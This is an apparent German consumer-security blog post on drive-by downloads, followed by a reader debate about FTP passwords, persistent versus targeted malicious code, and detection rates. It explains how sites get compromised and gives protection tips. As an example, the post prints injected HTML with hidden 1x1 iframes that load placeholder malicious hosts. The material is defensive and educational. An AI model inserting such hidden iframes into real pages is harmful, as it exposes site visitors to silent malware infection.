Drive-by-Downloads

Drive-by-Downloads oder Drive-by-Infection  werden ausgelöst, wenn der Anwender infizierte Webseiten besucht und dabei im Hintergrund unbemerkt Schadcode  heruntergeladen wird. Es ist ein sehr verbreitetes “Konzept”, wie Schadcode auf den heimischen Rechner gelangen kann und Ihr System z.B. Teil eines Botnetzes werden kann.

Kompromitierung der Webseite:
Zu einer kompromitierten Webseite und später dann zum Drive-by-Download kann es aus mehreren Gründen kommen:

  1. Die Angreifer nutzen dabei Schwachstellen in den Webapplikationen, z.B. bei einem CMS, die nicht aktualisiert wurden und veraltete php-Versionen benutzen, um ihren Code einzuschleusen.
  2. Der Webseitenbetreiber verwendet ein zu schwaches FTP-Passwort. Der Angreifer verschafft sich beispielsweise durch Brute-Force Attacken Zugriff zum Webserver und ändert den HTML-Code der Webseiten.
  3. Der Angreifer verschafft sich Zugang zum Webseitencode durch eine SQL-Injection und schleust dabei den Schadcode in die Datenbank der Webanwendung ein.

Der eigentliche Schadcode ist zum Teil in JavaScript geschrieben oder besteht oftmals aus einem iframe, das wie folgt aussehen kann:

<link rel=”stylesheet” href=”../css/standard.css” type=”text/css”>
<body bgcolor=”#F2F9FC”><iframe src=”http://boeseseite.cn/in.cgi?income71″ width=1 height=1 style=”visibility: hidden”></iframe><iframe src=”http://boeseseite2.cn/in.cgi?income70″ width=1 height=1 style=”visibility: hidden”></iframe><iframe src=”http://boseseite3.cn/in.cgi?income62″ width=1 height=1 style=”visibility: hidden”></iframe>

Ablauf eines Drive-by-Downloads:
Der Ablauf eines „Drive-by-Downloads“-Angriffs ist in der nachfolgenden Abbildung grafisch durch die folgenden vier Schritte dargestellt:

Ablauf eines Drive-by-Downlaod
  1. Der oder die Angreifer kompromittieren zuerst eine Webseite. Dort wird dann unbemerkt ein IFrame-Tag eingefügt.
  2. Das iFrame zeigt auf einen anderen Server. Besucht das Opfer seine bevorzugte Webseite (z.B. myc00l-website.com), lädt der Webbowser das iFrame beziehungsweise die referenzierte Seite von evil-server.com. Diese Seite analysiert den Webbrowser des Besuchers wie beispielsweise die Version, den Typ oder auch die vorhandenen Plugins.
  3. Aus den gesammelten Daten wird anschliessend der entsprechende Exploit „angeboten“. Dies geschieht allerdings nur, wenn die Analyse für den Angreifer erfolgsversprechend ausfällt. Immer öfter wird der Exploitcode nur einmal pro System „ausgeliefert“, um die Analyse des Exploits zu erschweren.
  4. Ist der Exploit erfolgreich, zieht der Payload den eigentlichen Schadcode nach. Dieser kann auf einem beliebigen Server liegen. Der Schadcode wird auf dem System ausgeführt, ohne dass der Benutzer etwas davon merkt. Einträge in bestimmten Bereichen der Registry oder die Installation von Diensten erlauben es der Schadsoftware, einen Systemstart zu überstehen.

Die Funktion des Schadcodes hängt von den Zielen des Angreifers, kann aber beliebige Funktionen auf dem System ausführen:

  • Ändern von Firewall-Einstellungen
  • Installation eines Keyloggers oder einer Backdoors
  • Integration des Systems in ein Botnet
  • Sammeln sämtlicher *.doc, *.ppt, *.pdf *.xls-Dateien
  • Verändern oder Löschen von Daten
  • Abgreifen von sensiblen Daten wie z.B. beim Internet-Banking (Torpig/Sinowal usw.)

Das folgende Video zeigt die Hintergründe zu einem Drive-by-Download:

 Wie kann man sich vor Drive-by-Downloads schützen?

  1. Verwenden Sie stets die aktuellste Version Ihres Browsers.
  2. Setzen Sie Addons wie “NoScript” ein, um eingeschleuste iframes und JavaScript zu blocken.
  3. Klicken Sie nur auf Links, insbesondere in E-Mails, wenn Sie genau wissen, wo diese hinführen.

Hat Ihnen dieser Artikel gefallen? Dann folgen Sie uns auf facebook und zeigen uns, dass Sie botfrei sind.

22 thoughts on “Drive-by-Downloads”

  1. Ich muss hier leider wieder einiges korrigieren.

    Punkt 2, FTP-Passwort: Es gibt keine starken Parolen für FTP, denn Benutzernamen und Parolen werden stets im Klartext übertragen, vgl.: RFC 959, Kapitel 4.1.1.

    Eine gesicherte Übertragung entsprechend des FTP-Protokolls kann man nur mit sftp machen.

    Kompromittierung der Webseite:
    -) Kompromittierung von Dokumenten, welche ausführbaren Code enthalten können. Berühmt: PDF-Dateien, PostScript-Dateien und Office-Dokumente.
    -) Kompromittierung anderer Dokumente, die dann Fehler im Zielprogramm ausnutzen, wie z.B Pufferüberläufe, berühmt JPEG und eingebettet TrueTypeFonts. Mit denen wurde bisher mindestens zweimal Der KERN VON WINDOWS NT ab 4.0 aufgemacht.

    Damit muss die Webseite nicht direkt kompromittiert werden. Seit spätestens 2007 gelingt es, Webinhalte eines Webauftritts on-the-fly zu ändern, so dass nicht einmal beim mutmaßlichen Absender der Schadcode persistent abgelegt sein muss.

    Auslieferung von primärem Schadcode:
    Dieser ist niemals persistent, wird also niemals auf der Festplatte abgelegt.
    Bei wichtigen Zielen wird der Exploitcode vollständig personalisiert.Der Schadcode wird je nach Ziel ein- und ausgeschaltet, so dass er im statistischen Mittel “praktisch nie” gesehen wird. Geht z.B. mit Fonts sehr einfach, indem man zwischen Fontservern in der HTML-Seite hin- und herschaltet.

    Auslieferung sekundären Schadcodes:
    Früher hat man diesen tatsächlich auf Persistenzspeicher des Ziels geladen, heute macht man das nur noch, wenn es nicht anders geht, z.B. wenn das Ziel in einer hochgeschützten Umgebung betrieben wird, siehe Iran mit dem Stick, oder wenn das Ziel nicht so wichtig ist.
    Nur persistenter Schadcode lässt sich mit Scannern überhaupt finden.
    Auf wichtige Ziele laufen schon längst personalisierte Angriffe ohne persistenten Schadcode, wie z.B. über kompromittierte HTML-Seiten, siehe oben.

    Gruß, adamsh

    BTW: Bitte redigiert und formatiert das, setzt “list”-Entities, ging von mir aus irgendwie nicht….

    1. Hallo Hans,

      ich bin mir nicht sicher, was die unsichere (KLARTEXT) Übertragung des FTP-Kennwortes mit einer Brute-Force-Attacke zu tun hat. Bei einer Brute-Force-Attacke, hat der Angreifer das Passwort des Accounts noch nie gesehen und kann damit nur erraten werden, wenn das Passwort schwach ist. Der Tipp ist also so, wie er dort steht, richtig.

      Webseiten werden zum großen Teil über FTP-Kennwörter (Geklaut, oder erraten), oder Exploits der entsprechenden Webapplikationen kompromittiert. Sehr bekannt sind hier: RFI-, LFI-, oder auch SQLI-Angriffe. Auch SFTP hilft gegen einen Keylogger nicht. Der ließt nämlich nicht die Verbindungsdaten aus, die bei SFTP verschlüsselt wären, sondern eben direkt die Tastatureingaben des Benutzers.

      Zur Kompromittierung von Webseiten: Das die Ziele ausgewählt werden und zum Beispiel nur dann Schadcode ausgeliefert wird, wenn wenn ein Benutzer mit Windows xy und Browser yz ankommt, steht ja bereits im Text.

      Dennoch ist in den meisten Fällen die Änderung an der Webseite persistent, denn es wurden entweder HTML-, PHP-, .htaccess-Dateien oder gar Daten in der Datenbank angepasst.

      Und Virenscanner sind sicherlich nicht ausschließlich darauf angewiesen den Schadcode zu identifizieren, der Nachgeladen wird. Hier kann viel mehr auch über URLs oder Teil-Stücke von Script-Tags oder iFrame-Tags gearbeitet werden.

      Grüße, Matthias Simonis

    2. “…und zum Beispiel nur dann Schadcode ausgeliefert wird, wenn wenn ein Benutzer mit Windows xy und Browser yz ankommt, steht ja bereits im Text. ”

      Das ist leider in einem entscheidenden Punkt ungenau bzw. unvollständig. Exploits nutzen bevorzugt Schwachstellen in veralteten Browser-Plugins wie Java, Adobe Reader oder Flash, die bei vielen Usern in monate- oder gar jahrealten Versionen vorliegen und daher angreifbar sind. Das fehlt auch im irreführenden Kommentar des Videos.

      Übrigens ist NoScript ein Add-on und nicht ein Plugin, wie es im Video gesagt wird. Ebenso sind die Folgen einer Infektion nicht vom Updateverhalten abhängig, denn bei einer Infektion war dieses Verhalten ja schon suboptimal und das Kind liegt im Brunnen.

    3. Hallo Iron,

      so ist das auch zu verstehen. Der Exploit wird passend zu der im Betriebssystem/Browser/Plugin vorhandenen Schwachstelle ausgeliefert und damit sollte auch klar sein, dass das regelmäßige Einspielen von Update die Wahrscheinlichkeit einer Infektion drastisch senkt.

      Gruß,

      CS, ABBZ

  2. Du brauchst keine Brute-Force-Attacke, die könnte man relativ leicht erkennen und bekämpfen, und der OP hat auch keine Brute-Force-Attacke gefordert, soweit ich das verstanden hatte.

    Um FTP anzugreifen, brauchst Du keinen Keylogger…und Keylogger waren auch nicht Diskussionsgegenstand. Selbst SFTP war nicht angesprochen worden im OP.

    Nochmals im Klartext: Für FTP reicht es, auf einem Shared Medium einfach zuzuhören, egal ob (Video-)Kabel-Verbindungen oder WLAN bei Starbucks. Kriegen tust Du immer etwas….

    Es sind die persistenten Änderungen, die Du auf der Webpräsenz gefunden hast. Warum glaubst Du, dass es nciht mehr und andere Änderungen gibt? Warum sollten Angreifer einen unnötig großen Footprint hinterlassen?

    Was Du auf Webpräsenzen an persistenten Code findest, stammt meist von Skriptkiddies (PHP, JS, MySQL)… Der wenige, gute Code sicher von besseren (PDF, JPEG).

    Personalisierte Angriffe nutzen definitiv keinen persistenten Schadcode mehr. Die Gefahr, entdeckt zu werden, ist doch viel zu groß…..eben weil der persistenter Schadcode doch leichter enttarnt werden kann als nicht-persistenter.

    “… die Teilstücke …” Ja, mache Teilstücke… Was passiert, wenn diese bedeutungsgleich, aber anders formuliert werden… (“polymorph”)?… und dabei ist persistenter Code schon lange nicht mehr maßgeblich bei gezielten Angriffen.
    Zusammenfassung: AV-/AM-Software schützt vor einem Bruchteil nicht maßgeblicher Angriffe, meist von Skriptkiddies….

    adamsh

    1. Hallo Hans,

      du sprichst hier von personalisierten Angriffen, auf die deine Aussage auch zutreffen kann. Das ist aber doch nicht der Großteil der Angriffe. Schau dir doch die Massenangriffe wie LizaMoon an. Diese werden persistent und “einfach” erkennbar abgelegt.

      Worum geht es denn hier? Doch um die Massen, wie zum Beispiel beim BKA-Trojaner. Glaubst du wirklich, dass sich die Verbreiter hier die Mühe machen Millionen gezielte Angriffe zu fahren? Das lohnt sich doch überahupt nicht.

      Die gezielten Angriffe von denen du sprichst gehen in der Maße doch eher unter und lohnen sich nur bei High-Value-Targets.

      Grüße, Matthias Simonis

    2. Vollkommen richtig! Und bei High-Profile Targets, da gibts dann auch jemand, der das bezahlt …

      Dieser Beitrag hat natürlich keinen Anspruch auf Vollständigkeit, so wie alle unsere Beiträge. Er soll lediglich das wiederspiegeln, was wir täglich zu tausenden täglich entdecken und unser Klientel, den Endverbraucher, der davon bedroht ist, informieren … auf niedrigem Niveau, verständlich für Oma Martina!

      Grüße,
      TK, ABBZ

    3. 1) Es geht allgemein um DriveByDownloads, nirgends wurde der Angriff auf BKA-Trojaner oder andere einfache Strukturen beschränkt.

      2) Wobei sich schon längst gezeigt hatte, dass viele mit dem BKA-Trojaner Infizierten auch weitaus schlimmeren Angriffen zum Opfer gefallen waren.

      3) Berücksichtigen wir nur Buchhaltungs- und Entwicklungsrechner (und andere “wichtige Rechner in Firmen”) , dann haben wir in D-Land — je nach Zählung — zwischen 2.000.000 und mindestens 7.000.000 “High Potential Targets”… Mit einem Opfer in dem richtigen administrativen Bereich haben Sie meist diesen ganzen Bereich und alle darunterliegende Bereiche kompromittiert…. (Bekannt als das Problem: “Kennwort vom Chef”)

      BTW: Ganz witzig, wenn der Chef Zugang zur EDV-Adminstration hat. Dann ist alles in diesem Bereich, und damit die gesamte IT-Infrastruktur, kompromittiert. Umso leichter werden Kisten werden zum Ausgangspunkt von Angriffen auf andere Systeme einschließlich derer von Kunden und Lieferanten….

      4) Personalisierte Angriffe lassen sich problemlos automatisch erstellen und führen.

      4a) Polymorpher Code läßt sich problemlos automatisch erstellen….

      4b) Angriffe über Nachrichten vom Typ “Hier ist das verschlüsselte Dokument, Schlüssel finden Sie unter “URI mit OTP”).” lassen sich auch problemlos automatisch erzeugen, Aktivierung eines Kontos/Dokumentes über ein OTP kennt jeder.

      4c) Angriffe kompromittierte Weblinks (NEIN, nicht direkt. Geht auch über Verweise auf CSS) können absolut leicht automatisch personalisiert werden, soweit sie Zugriff auf eine Quelle eigentlich vertrauenswürdiger Nachrichten haben, wie einem B2B-Gateway. Das erlaubt Ihnen ggf. sogar in Abhängigkeit der mutmaßlichen Arbeitszeit des Opfers, Schadcode ein- und auszuschalten.

      5) Diese Klassen von Angriffen benötigen nur wenig bis keinen persistenten Schadcode, vermeiden jeden mit konstanter Signatur, werden damit praktisch nie entdeckt, und gelten daher als selten.

      6) Dementsprechend sind obige Statistiken und die daraus abgeleiteten Vermutungen im wesentlichen absolut unzureichender Messverfahren geschuldet, und nichts anderem.

      7) Diese Vermutungen spiegeln keinesfalls die tatsächliche Gefährdung wider.

      Gruß, Hans Adams

    4. Hallo Hans,

      natürlich ist es möglich unverschlüsselte Daten wie ein FTP-Passwort bei der Übertragung abzuhören. Dazu muss der Angreifer währenddessen aber auch Zugriff auf des Übertragungsmedium haben. Eine andere Möglichkeit sind eben Brute-Force-Angriffe, die durch schwache FTP-Passwörter begünstigt werden.
      Du wirst sicher zustimmen, dass es nicht nur eine Angriffsart gibt. Personalisierte Angriffe nutzen andere Methoden als Massenangriffe. Während bei ersteren der Fokus auf einem bestimmten Ziel liegt und damit auch recht viel Aufwand dafür verwendet werden kann, werden bei letzteren eine Vielzahl von Zielen automatisiert und mit “simplen” Methoden angegriffen. Und genau darum geht es in dem Blogbeitrag.

      Gruß,
      CS, ABBZ

    1. Hallo Hans,

      Ist dort ein gezielter Angriff zu sehen? Nein … das ist ein ganz normaler Drive-by-Download auf einer generischen Seite!

      Grüße,
      TK, ABBZ

  3. Ich finde den Artikel ok.

    ist klar und einfach, für Lieschen Müller geschrieben.

    Die Einwände sind zwar Richtig, gehören aber an eine andere Stelle ( Experten Disskusion )

    Tschau

    1. Und was ist neu an der Meldung ?

      Die 1,25% ist doch falsch, jeder weiß doch das es nicht stimmt.

      Tschau

    2. Wieso soll der Wert nicht stimmen? Ist der Wert zu niedrig, oder zu hoch? Es geht um URLs legitimer WebSeiten …

    3. 1.25% im Durchschnitt….

      1) Es wurden 1.25% erkannt, wieviel Schadcode tatsächlich unterwegs ist, weiß keiner.
      2) 1.25% der aufgerufenen Webseiten. Wer hat denn die Webseiten aufgerufen, auf welchem Verteilungsmuster basiert dieser Durchschnitt?
      3) Welche Gefährdung ging jeweils auch nur von dem erkannten Schadcode aus?

      Welche Erkenntnis können wir aus den o.g. Beobachtungen gewinnen?

      fragt sich Hans Adams

  4. Man, man, man – an was für Dingen sich hier manch’ Kommentator hoch zieht … Der Artikel ist top und die Kernaussage sollte sein, dass “ftppass” oder “charlie123” zwei völlig unsinnige Passwörter sind. Wenn “Lieschen Müller” endlich kapieren würde, dass das FTP-Passwort völlig Wurst ist und nichts im Gedächtnis von L.M. zu suchen, 11+ Stellen mit Sonderzeichen usw. haben sollte, dann würden auch solche Attacken auf die Rechner der Besucher abnehmen.

    Keine Ahnung, wie oft ich auch mit Admins zu tun habe, die Passwörter “irgendwie lesbar” vorschlagen. Ein “ftp4me!” ist ja nicht so schlecht, aber was soll der Mist.
    Gerade bei FTP und Mailpostfächern ist es doch für die Serverbetreiber eine ganz einfache Sache, bestimmte Passwort-Mindestanforderungen im System zu integrieren. Machen, Jungs und Mädels!

Kommentare sind geschlossen.